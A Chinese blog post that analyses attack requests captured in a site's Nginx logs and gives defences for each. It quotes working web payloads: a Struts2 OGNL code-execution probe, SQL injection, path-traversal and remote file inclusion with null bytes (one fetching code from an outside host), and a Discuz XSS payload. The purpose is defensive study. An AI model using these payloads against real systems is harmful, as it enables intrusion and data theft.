「Web安全」Nginx攻击日志分析


今天看了一下百度云加速的报表统计发现今天的攻击拦截数又再次达到了100+,现在的攻击成本原来越低总会时不时的看到攻击拦截数破百,但这次决定分析下nginx日志看看都是些什么攻击。

5E77BC9D-A00F-4017-A813-29C3FA83AABA.png

一、任意代码执行

1.Nginx日志

/?class.classLoader.jarPath=(%23context%5B%5C%22xwork.MethodAccessor.denyMethodExecution%5C%22%5D=new%20java.lang.Boolean%28false%29%2C%23_memberAccess%5B%5C%22allowStaticMethodAccess%5C%22%5D=new%20java.lang.Boolean%28true%29%2C%23_memberAccess.excludeProperties=%7B%7D%2C%23a_str=%27814F60BD-F6DF-4227-%27%2C%23b_str=%2786F5-8D9FBF26A2EB%27%2C%23a_resp=%40org.apache.struts2.ServletActionContext%40getResponse%28%29%2C%23a_resp.getWriter%28%29.println%28%23a_str%2B%23b_str%29%2C%23a_resp.getWriter%28%29.flush%28%29%2C%23a_resp.getWriter%28%29.close%28%29)(meh)&z[(class.classLoader.jarPath)(‘meh')]=true

2.urldecode

/?class.classLoader.jarPath=(#context[\"xwork.MethodAccessor.denyMethodExecution\"]=new java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]=new java.lang.Boolean(true),#_memberAccess.excludeProperties={},#a_str=‘814F60BD-F6DF-4227-‘,#b_str=‘86F5-8D9FBF26A2EB',#[email protected]@getResponse(),#a_resp.getWriter().println(#a_str+#b_str),#a_resp.getWriter().flush(),#a_resp.getWriter().close())(meh)&z[(class.classLoader.jarPath)('meh')]=true

3.攻击分析

从decode后的访问请求可以看出这应该是一个针对jsp的Struts2框架漏洞扫描,而且从日志里面看到针对这一类的扫描非常多。太久没用JSP找到一篇相关的分析文章,感兴趣的可以更深入地看下:http://drops.wooyun.org/tips/347

4.防范分析

(1)对于正常的访问请求而言这样的请求显得太过“臃肿”,255+字符长度请求的场景在实际中很少遇到,在限制访问请求的时候可以考虑限制这类“臃肿”的请求,另外针对项目中很少用到的字符但是在代码中又经常出现的譬如 ‘ “ 等做限制,禁止带有这类字符请求的访问。(这有一篇更详细的文章:https://getpocket.com/a/read/371747269)

(2)针对PHP的代码审计可以试试“Seay源代码审计系统”,它会批量搜索代码中容易出现安全问题的函数,其中用到的单纯正则匹配确实不够“智能”而且更新的频率也很低,需要在搜索出来的代码中自己判断函数中引用的变量来源是否安全。

二、sql注入攻击

1.Nginx日志

/?message=angelina%20%22%20or%208281%3D%28select%208281%20from%20information_schema.TABLES%20limit%201%29%20or%20%228281%22%3D%228282

2.urldecode

/?message=angelina " or 8281=(select 8281 from information_schema.TABLES limit 1) or "8281"="8282

3.攻击分析

sql注入的常用手法是先找到没做任何安全过滤就直接将“外界输入”作为查询参数查询,然后通过截断原有sql构造出能达到特殊目的的查询语句,譬如查询站点后台的管理员密码,查询数据库管理密码等 。

4.防范分析

(1)不要相信任何“外界输入”,无论是get、post、cookie、HTTP_REFERER亦或是三方平台接入获得的数据(之前乌云上曾经有白帽子爆出腾讯的第三方登录存在可利用漏洞:http://drops.wooyun.org/papers/1210),对这些数据进行对应的安全过滤,没有一劳永逸的方案,针对前端XSS有htmlspecialchars,防止sql注入有查询条件预处理……

(2)数据库分权管理,程序连接数据库所需使用的账号不能直接使用具有根权限的账号,每个数据库账号只管理一个数据库并且授予最低的权限,具有根权限的账号只用于管理操作。

三、文件包含

1.Nginx日志

/Article/show/id/30.html?pid=../../../../../../../../../../etc/rc.d/rc.local%00
/photo/index.html?p=c:/windows/win.ini%00
/?message=http://cirt.net/rfiinc.txt%00.php

2.攻击分析

(1)以上两个分别是针对Linux和Windows的文件包含,黑客尤其喜欢包含一些能获取到能够获取系统账号密码、数据库连接配置文件或者服务器账号密码等敏感文件。

(2)第三条是一个很有意思请求,可以试试http://cirt.net/rfiinc.txt这个连接,这是一个远程文件包含用的链接,而且用到了 %00 转义攻击,这个会导致解析器将txt的文件当做php解析。

3.防范分析

(1)针对请求分析,这类的文件包含多会尝试使用相对路径逃逸出执行文件所在目录从而包含常规系统目录的敏感文件,而一般的使用场景并不需要使用 ../../ 这类相对路径的请求,因此可以针对这类请求进行拦截;

(2)针对Linux服务器,不应使用root用户运行程序进行进程,和数据库一样可以进行分权管理用特定的用户运行程序进程并授予最低权限,这样即使是程序存在文件包含漏洞所执行程序的用户也无权读写敏感文件;

(3)针对Windows服务器则需要使用各种安全策略进行目录权限限制,当然最好的办法还是“珍爱生命,远离Windows服务器”;

(4)将程序的入口文件转移到公共可访问目录,这个目录应该被认为是无保护的可以允许任何人随意访问的,并限制程序进程逃逸出公共可访问目录。

四、XSS

1.Nginx日志

/connect.php?receive=yes&mod=login&op=callback&referer=xyz%bf\x5Cu0027.replace(/.%2b/,/javascript:alert(511265478)/.source);//

2.攻击分析

这个XSS的攻击感觉是针对discuz的登录回调,XSS只是前端攻击(暂且假定有这个称呼)的一个缩影而且手段更加隐蔽。这只是简单测试的弹窗是否正常执行,如果正常执行则接下来会有更多丰富的玩法。

3.防范分析

还是那句话,不要相信任何“外界输入”,即使这个输入只是用于前端显示,譬如一个页码的变量直接用于页面的翻页链接。“若想防,先知攻”,在这推荐阅读钟晨鸣(余弦)徐少培先生所著《Web前端黑客技术揭秘》

五、网页后门

1.Nginx日志

/admin/login.jsp

/wp-admin/admin.php?page=leaguemanager-export

2.攻击分析

自动扫描工具的必扫路径admin、login,现在Wordpress火了之后它的默认管理后台地址更是成了扫描工具比扫路径。

3.防范分析

避免使用一些常用的名称譬如login之类的作为后台的地址,使用Wordpress则应保持最新的版本,注意一些插件的安全性是否可靠。

六、信息泄露

1.Nginx日志

/phpinfo.php
/test.php
/info.php

2.攻击分析

很多粗心的站长在网站的搭建过程中容易遗留一些测试文件,譬如最常出现的phpinfo。

3.防范分析

及时删除不需要的测试文件,所有上传到服务器的文件目录都需要确定是否包含不需要的或者仅是测试时使用的代码文件,对于安装类的cms在安装完成后及时删除安装目录。

结束语

学东西最怕的就是“知其然而不知其所以然”,网络的存在导致学习成本降低但也降低了学习者学习东西的本质,像这类遗留的测试文件大多是一些站长根据百度来的建站经验在建站过程中遗留的,因为大部分的建站教程都没有在测试完网站能正常运行后及时删除测试文件这一项。最近在检查公司项目的代码时也发现很多项目下都有kindeditor这个目录,而且目录里还残留有给各类语言调用测试的测试代码,这部分测试代码可以造成路径暴露、任意文件上传,而且上传目录还具有文件执行权限,可以编译执行PHP……web的安全问题往往都是由一个个“不小心”的细节导致更严重的危机,“安全无小事”希望每一位开发者在开发的过程中都能够更注意一些安全的细节。了解更多web安全知识,强烈推荐阅读吴翰清先生所著《白帽子讲web安全》


《“「Web安全」Nginx攻击日志分析”》 有 2 条评论

发表评论